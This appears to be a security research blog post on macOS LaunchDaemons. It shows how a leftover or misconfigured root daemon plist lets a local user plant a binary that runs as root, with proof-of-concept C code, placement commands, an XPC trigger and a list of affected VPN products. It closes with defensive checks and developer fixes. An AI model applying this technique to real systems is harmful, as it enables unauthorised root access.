Daemon Ex Plist: LPE via MacOS Daemons

Author

Mobile Application Security Expert

Introduction

Today, we will try to figure out one mechanism for which there is not much information available on the internet and attempt to use the defect of this mechanism to exploit an LPE vulnerability.

The mechanism we are going to look into is Mac-specific startup process for specialized services, which also known as Agents and Daemons. We will figure out loading mechanism of such services, their work and other subtleties.

Agents and Daemons

Software developers in MacOS can create special service, which will be registered through launchd (special utility used for service management: an alternative to cron or systemd analog on MacOS) on system startup or user login.

These services can be divided into two types:

  • Agents
  • Daemons

Let’s figure out differences of these two types.

Agents

Agents are services, that register when user log in to the system (right after entering the password for the account and pressing Enter).
These Agents are mostly used for automating update checking, but can be used in other ways depending on the needs of the app.

Agents have several locations (or paths/directories) where their property list files are stored, essentially, the location shows the ‘importance’ or ‘significance’ of the Agent service to the system:

Directory pathPurposeProcess rights
/System/Library/LaunchAgents/Third-party applications are restricted from creating services in this directory, which is reserved exclusively for pre-installed Apple Agentsuser-level
/Library/LaunchAgents/A third-party application can deploy its Agent to this location, but it will necessitate elevated root access to accomplish this. Any services installed in this directory will have system-wide scope, running under the context of all user accountsuser-level
~/Library/LaunchAgents/Services, that launch after a specific user log in. No root rigths are required to create Agents here user-level

Daemons

Daemons are functionally equivalent to Agents, but they are initialized by the root user during the system initialization process, prior to user authentication. Application Daemons are more prevalent due to their increased functionality, which enables them to perform tasks such as:

  • Application self-updates
  • System configuration modifications
  • Leveraging system capabilities and features

Daemons locations where their property list files are stored:

Directory pathPurposeProcess rights
/System/Library/LaunchDaemons/Directory reserved for Apple services, where third-party applications are restricted from creating servicesroot
/Library/LaunchDaemons/Directory for system-wide services, which will be executed under the context of all user accounts. Elevated root access is necessary to modify the contents of this folderroot

The launch of services involves the following steps:

Plist file of service

During the installation of an application via a .pkg or .dmg package, the installer will automatically create a service at the location specified by the developer (prompting for root access if the service is not being installed in the ~/Library/LaunchAgents directory).

The creation of a service involves generating a plist file that defines the service’s configuration, including:

  • Path to the executable;
  • Service ID;
  • Launch conditions;
  • Other supplementary service settings.

To illustrate this concept, let’s examine a sample plist file located in /Library/LaunchDaemons/:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.test.daemon</string>

    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Swarm.app/test.sh</string>
    </array>

    <key>RunAtLoad</key>
    <true/>

    <key>UserName</key>
    <string>root</string>
</dict>
</plist>

Let’s have a look on some interesting for us keys.

Label key

The Label tag defines a unique identifier for the service, which serves as a reference point for applications to interact with the service. This identifier enables applications to send requests to the service, request actions and communicate with it.

Program key

The Program key defines the path to the executable file, which can be a:

  • Binary executable;
  • Shell script;
  • Or an application bundle (e.g. MyApp.app).

This executable will be launched by launchd.

Program and ProgramArguments

To pass arguments to the service at launch time, the ProgramArguments key can be used. This key can be combined with the Program key or used independently, and would be formatted as follows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.test.daemon</string>

    <key>Program</key>
    <string>/Applications/Swarm.app/Contents/Resources/daemond</string>

    <key>ProgramArguments</key>
    <array>
        <string>--host</string>
        <string>localhost</string>
    </array>

    <key>RunAtLoad</key>
    <true/>

    <key>UserName</key>
    <string>root</string>
</dict>
</plist>

Only ProgramArguments usage

However, we can utilize only the ProgramArguments key, and a plist file with this configuration would appear as follows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.test.daemon</string>

    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Swarm.app/Contents/Resources/daemond</string>
        <string>--host</string>
        <string>localhost</string>
    </array>

    <key>RunAtLoad</key>
    <true/>

    <key>UserName</key>
    <string>root</string>
</dict>
</plist>

In this example, the value normally assigned to the Program key is instead included as the first item in the ProgramArguments array. An additional argument, host, is passed with the value localhost.

RunAtLoad

The RunAtLoad tag determines whether the service should be launched. If RunAtLoad is set to false, the service will be registered with the system, but will remain inactive until it receives a triggering message, at which point it will be activated.

UserName

The UserName key is a mandatory attribute for Daemons, as it dictates the user context in which the service will be executed. This allows for more flexible control over access privileges. Typically, the UserName is set to root, which grants the service elevated privileges and doesn’t require any additional configuration during installation process.

In a similar manner, you can configure a service to be registered and launched during system initialization or when a user authenticates to their account, enabling flexible service management and deployment.

Additional information

It’s worth noting that macOS has another feature for launching a service or program when a user logs in. This feature is located in Login Items & Extensions:

Developers can add any executable file to this location, and it will be executed with the user’s privileges when they authenticate to their account. This means that the launched service or program will run in the context of the user, rather than with elevated or system-level privileges.

Why do we need services?

The need for services arises from various use cases, including:

  • Automated update checking;
  • Interacting with system resources through a separate privileged service;
  • Monitoring system events and changes;
  • Scheduling periodic tasks (e.g. every n minutes) to perform specific actions, such as cloud backups;
  • Loading device drivers for peripheral interaction.

In essence, automatically launched services provide a convenient and efficient way for developers to implement various functionalities, and many popular applications rely on them, including:

  • Docker;
  • Google Drive;
  • One Drive;
  • Tunnelblick;
  • and numerous others.

What categories of applications utilize services?

The benefits of services have become apparent – numerous applications leverage them to achieve diverse goals. Let’s examine some application categories that employ services:

  • Applications that require modification of system settings: typically, these include VPN, firewall, and driver-loading applications
  • Applications that necessitate root privileges to facilitate remote access: examples include AnyDesk, TeamViewer, and RustDesk
  • Applications that incorporate auto-update functionality: this can encompass a wide range of application types

As our objective is to escalate privileges, we should concentrate on services residing in /Library/LaunchDaemons, since these services are executed with root privileges.

What problems can arise when creating a service?

The main issue that can occur with privileged services is related to the path to the executable file that will be launched. If the developer specifies a path to the service that a standard user can access, then any program with user privileges can create an executable file at that path.

If we have already compromised the user’s system and aim to escalate to root privileges, our goal is to replace the legitimate binary file of the service that is loaded under root with a malicious one.

At this point, the exploitation phase commences, where an attacker can leverage this vulnerability to gain elevated access to the system.

Deleting programs is dangerous

On MacOS, it is not possible to overwrite files inside /Applications if they already exist and the developer sets standard permissions on the application bundle during installation, since a regular user only has read and execute permissions for files within application bundles.

But what if the user uninstalls the program?

If the developer does not manually remove the plist files from /Library/LaunchDaemons, we can exploit this oversight.

As the plist file for the service will remain present, due to the fact that plist files are not directly associated with the application from the system’s viewpoint, and the path to the binary file will be invalid, the service will not be able to start.

However, if we create the path to the executable file specified in the plist, we can deploy a malicious payload at that location and elevate privileges after the system restarts and our file is registered as a Daemon with root privileges.

Not deleting programs is dangerous

But it’s not always possible to secure yourself by just keeping the program installed and not deleting it.

In some cases, developers may misconfigure the permissions on the application bundle, allowing users to delete the application using rm -rf /Applications/MyApp.app with standard user privileges.

For instance, the Battle.net application can be cited as an example of a program with incorrectly set permissions, which can be deleted by a user without requiring elevated privileges.

In this case, we don’t even need the application to be deleted, all we need is to be on the system.

Exploitation methods

Two distinct categories of exploitation have been discovered, which are differentiated by a single detail that modifies the service initialization mechanism. Our analysis of the exploitation will begin at the point where the application has already been uninstalled from the system, but the plist file remains present.

Frequently encountered flow

Let’s assume we have this plist file in /Library/LaunchDaemons:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>org.company.macos.TestVPN.daemon</string>

    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Test VPN.app/Contents/MacOS/Test VPN</string>
        <string>macosdaemon</string>
    </array>

    <key>UserName</key>
    <string>root</string>

    <key>RunAtLoad</key>
    <true/>

    <key>KeepAlive</key>
    <true/>

    <key>SoftResourceLimits</key>
    <dict>
        <key>NumberOfFiles</key>
        <integer>1024</integer>
    </dict>

    <key>StandardErrorPath</key>
    <string>/var/log/testvpn/stderr.log</string>
</dict>
</plist>

Having seen this, we can say that.

ProgramArguments

The executable file must be located at the path /Applications/Test VPN.app/Contents/MacOS/Test VPN, and when this file is called, the argument macosdaemon will be passed to it. We can ignore this and write an exploit that does not interact with the command-line arguments.

UserName

Service executing under the root user, which exactly what we need for our exploitation.

RunAtLoad

The service will be initialized at system boot time, as the plist file resides in /Library/LaunchDaemons and the RunAtLoad key is set to true, indicating that the service should be launched automatically.

For testing purposes, any exploit code can be used, but a simple proof-of-concept can be created by compiling and executing the following code snippet:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    const char *command = "echo $(whoami) > ~/whoami.txt";
    int result = system(command);
    return 0;
}

Let’s compile this code:

gcc exploit.c -o "Test VPN"

And finally we relocate out binary executable file to the directory from plist file:

mkdir -p "/Applications/Test VPN.app/Contents/MacOS/" && mv "Test VPN" "/Applications/Test VPN.app/Contents/MacOS/Test VPN"

Next, we wait for the system to restart and then obtain a file named whoami.txt in the root home directory containing the text root.

MachServices

A service can be configured as a MachService, which will not be initialized at system boot time, but will instead remain dormant until it is explicitly invoked.

The following is an example of a plist file for a MachService-type service:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.company.testStandaloneUpdaterDaemon</string>

    <key>MachServices</key>
    <dict>
        <key>com.company.testStandaloneUpdaterDaemon</key>
        <true/>
    </dict>

    <key>Program</key>
    <string>/Applications/Test.app/Contents/StandaloneUpdaterDaemon.xpc/Contents/MacOS/StandaloneUpdaterDaemon</string>

    <key>ProgramArguments</key>
    <array/>

    <key>StandardErrorPath</key>
    <string>/Library/Logs/Company/Test/TestStandaloneUpdaterDaemon.log</string>

    <key>StandardOutPath</key>
    <string>/Library/Logs/Company/Test/TestStandaloneUpdaterDaemon.log</string>
</dict>
</plist>

In this case, the exploitation will be slightly different, as we will need to:

  1. Create an executable file at the specified path
  2. Run it

The code for this type of service may be identical to the one used in the previous scenario:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    const char *command = "echo $(whoami) > ~/whoami.txt";
    int result = system(command);
    return 0;
}

Compile and relocate binary:

gcc exploit.c -o "StandaloneUpdaterDaemon"
mkdir -p "/Applications/Test.app/Contents/StandaloneUpdaterDaemon.xpc/Contents/MacOS/" && mv "StandaloneUpdaterDaemon" "/Applications/Test.app/Contents/StandaloneUpdaterDaemon.xpc/Contents/MacOS/StandaloneUpdaterDaemon"

And then we will need to write code that will invoke the MachService by its identifier, which is com.company.testStandaloneUpdaterDaemon. To do this, we will use the Inter-Process Communication (IPC) mechanism XPC.

All we need to do is send a connection request, and after that, our executable file from the plist will automatically start.

#include <xpc/xpc.h>

int main(void) {
    xpc_connection_t conn = xpc_connection_create_mach_service("com.company.testStandaloneUpdaterDaemon", NULL, 0);
    return 0;
}

Compile and run client file:

gcc client.c -o client
./client

After this file whoami.txt will be created in root home directory.

Vulnerable products

Ultimately, our goal was to identify vulnerable products. We focused on VPN services, remote access services, and other software that may incorporate automatic update features.

We devoted the most resources to examining VPN services, as they have experienced a surge in popularity lately, resulting in a proliferation of developers interested in this area, and therefore, a substantial amount of material to analyze and test for vulnerabilities.

VPN

Out of all the software categories, VPNs were found to be the most vulnerable: VPN applications require modifying system settings to establish a connection. Our research revealed that the following products are susceptible to exploitation:

  • Mozilla VPN (v2.28.0);
  • Tunnelblick (7.1beta01 build 6220);
  • Pritunl (1.3.4220.57);
  • Cloudflare Warp (assesed the vulnerability as “Informative”);
  • PIA (tested software with the described behavior (not accepted as vulnerability by vendor);
  • ExpressVPN (tested software with the described behavior (not accepted as vulnerability by vendor), linked on the article);
  • Amnezia VPN (4.8.6.0);
  • Mullvad VPN (2025.7);
  • Red Shield VPN (3.5.7).

All of these applications used root services, which could be plist file with user privileges.

Other

  • OneDrive (will fix in major release);
  • Logitech G Hub (was reported by another researcher).

Several other vendors are also vulnerable to this issue, and have not yet released a patch.

What to do with this?

For us – regular users

If you have already been attacked, it will be difficult to determine, but you can still protect yourself.

To do this, check which services are located in /Library/LaunchDaemons:

$ ls /Library/LaunchDaemons

com.docker.socket.plist                com.google.GoogleUpdater.wake.system.plist
com.docker.vmnetd.plist                com.google.keystone.daemon.plist

Each such plist file is responsible for a separate launchable Daemon on the system.

If you have services installed, you can inspect the path where the executable files are located:

$ (plutil -extract Program raw /Library/LaunchDaemons/* 2>/dev/null ||
plutil -extract ProgramArguments.0 raw /Library/LaunchDaemons/* 2>/dev/null) | grep -v "Could not extract value"

/Library/PrivilegedHelperTools/com.docker.socket
/Library/PrivilegedHelperTools/com.docker.vmnetd
/Library/PrivilegedHelperTools/com.docker.socket
/Library/PrivilegedHelperTools/com.docker.vmnetd
/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/MacOS/GoogleUpdater

The command output displays the paths to the executable files. If a potentially vulnerable path is discovered, which can be modified or created by an user, it is advisable to relocate the executable file to /Library/PrivilegedHelperTools or to take note of this and ensure that the plist file is removed when the application is uninstalled.

We can also add the execution of the ls command to the output of this command, so that you can immediately see the permissions on the files.

$ (plutil -extract Program raw /Library/LaunchDaemons/* 2>/dev/null ||
plutil -extract ProgramArguments.0 raw /Library/LaunchDaemons/* 2>/dev/null) | grep -v "Could not extract value" | xargs -I {} ls -la "{}"

-rwx--x--x  1 root  wheel  1572224 Mar 18 16:24 /Library/PrivilegedHelperTools/com.docker.socket
-r-xr--r--@ 1 root  wheel  6430864 Mar 18 16:24 /Library/PrivilegedHelperTools/com.docker.vmnetd
-rwx--x--x  1 root  wheel  1572224 Mar 18 16:24 /Library/PrivilegedHelperTools/com.docker.socket
-r-xr--r--@ 1 root  wheel  6430864 Mar 18 16:24 /Library/PrivilegedHelperTools/com.docker.vmnetd
-rwxr-xr-x  1 root  wheel  10505616 May  5 11:08 /Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/MacOS/GoogleUpdater

Not for us – developers

To fix this vulnerability, two possible solutions can be implemented:

  • Relocating the binary service file to a directory that is inaccessible to the user
  • And… By creating another Daemon service!

First method

MacOS provides a special folder where applications can store their privileged files (specifically for situations like this) – the path to this directory is /Library/PrivilegedHelperTools. Without root privileges, a user cannot write at this directory, and therefore, a malicious application cannot escalate privileges.

For example, Adobe does this. They save the file for working with updates to the path /Library/PrivilegedHelperTools/com.adobe.acc.installer.v2

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.adobe.acc.installer.v2</string>

    <key>MachServices</key>
    <dict>
        <key>com.adobe.acc.installer.v2</key>
        <true/>
    </dict>

    <key>Program</key>
    <string>/Library/PrivilegedHelperTools/com.adobe.acc.installer.v2</string>

    <key>ProgramArguments</key>
    <array>
        <string>/Library/PrivilegedHelperTools/com.adobe.acc.installer.v2</string>
    </array>
</dict>
</plist>

Second method

The second method is slightly more complex to implement and, in our opinion, less reliable. To use this method, the developer needs to create another root service that will monitor changes to the application’s folder using the special argument WatchPath or WatchPaths. This parameter is optional and tells launchd that the service should be launched when the specified paths change.

When the application is uninstalled, MacOS will launch the service through launchd, and the service will then delete all the necessary plist files for that application located in /Library/LaunchDaemons.

Although this solution is not ideal, as the developer may make various mistakes in the algorithm for checking the deletion of plist files, but nevertheless, this solution is used in the Microsoft Defender application.

Implementation

During application installation process, the developer can additionally create a separate service for cleanup.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.microsoft.fresno.uninstall</string>

    <key>ProgramArguments</key>
    <array>
        <string>/Library/Application Support/Microsoft/Defender/uninstall/install_helper</string>
        <string>execute</string>
        <string>--path</string>
        <string>/Library/Application Support/Microsoft/Defender/uninstall/uninstall</string>
        <string>--args</string>
        <string>--post-uninstall-hook</string>
    </array>

    <key>WatchPaths</key>
    <array>
        <string>/Applications/Microsoft Defender.app</string>
    </array>

    <key>StandardErrorPath</key>
    <string>/Library/Logs/Microsoft/mdatp/uninstall.log</string>

    <key>StandardOutPath</key>
    <string>/Library/Logs/Microsoft/mdatp/uninstall.log</string>
</dict>
</plist>

All user interactions with the MacOS file system, including APFS, are logged. These logs can be inspected using the fs_usage utility, which requires root privileges to execute.

Upon uninstalling the Microsoft Defender application, logs will be generated indicating that the application’s folder is being accessed – specifically, that it is being deleted.

Every few seconds, a check is performed for modified directories and files, and if a modified path is found in the WatchPath, a command will be sent to launch the corresponding service.

As a result, when the user uninstalls the application, a cleanup script will be triggered to remove all configuration files and plists that could potentially be exploited to escalate privileges.

Results

Together, we have explored the concept of Agents and Daemons, acquired knowledge on how to create custom services, and learned how to write plist files to register them with launchd. More significantly, we have gained insight into the potential issues that can arise when developing these services and how, by exploiting misconfigured services in plist files, it is possible to elevate privileges.